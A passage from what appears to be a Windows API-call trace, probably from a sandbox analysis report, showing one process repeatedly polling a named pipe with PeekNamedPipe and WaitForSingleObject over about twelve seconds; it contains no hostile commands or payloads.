lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.267] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0082.298] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.299] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0083.191] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.909] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.071] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.072] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.546] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.547] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0084.587] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.587] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0086.521] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.525] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0087.025] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0087.025] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0087.072] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0087.072] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.623] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.623] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.657] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.657] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0088.716] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.716] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.139] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.139] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.165] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.165] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0089.214] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0089.214] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.003] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.003] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.515] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.515] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.620] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.620] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.659] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.659] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.753] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.847] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.853] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0090.879] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0090.881] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.325] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.328] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0091.368] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0091.368] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.740] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.740] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.159] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.159] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.187] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.187] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.218] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.224] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.266] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.266] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.281] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.281] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.312] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.312] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.344] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.344] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.379] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.379] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.414] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.414] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.437] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.437] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.468] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.468] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.499] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.499] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.530] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.530] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.561] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.562] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.593] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.593] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.624] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.624] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.655] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.655] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.686] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.687] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.718] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.718] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.749] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.749] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.780] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.780] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.811] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.811] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.843] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.843] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.873] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.873] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.905] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.905] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.936] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.936] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.967] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.967] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.998] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.998] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.029] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.029] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.061] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.061] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.092] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.092] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.125] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.125] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.159] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.159] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.185] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.185] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.217] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.217] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.248] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.248] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.279] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.279] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.311] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.311] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.341] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.342] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.373] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.373] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.404] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.404] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.435] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.435] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.467] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.467] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.497] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.498] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.529] PeekNamedPipe (in: hNamedPipe=0xc4, 